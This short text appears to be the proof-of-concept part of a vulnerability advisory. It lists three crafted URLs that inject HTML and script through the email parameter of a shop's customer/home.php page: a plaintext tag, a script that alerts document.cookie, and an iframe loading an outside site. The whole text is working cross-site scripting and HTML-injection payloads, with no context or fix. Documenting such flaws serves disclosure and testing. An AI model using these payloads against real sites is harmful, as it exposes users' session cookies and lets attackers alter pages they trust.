http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<plaintext/>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<script>alert(document.cookie);//<</script>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<iframe src=http://www.google.com.br width=800>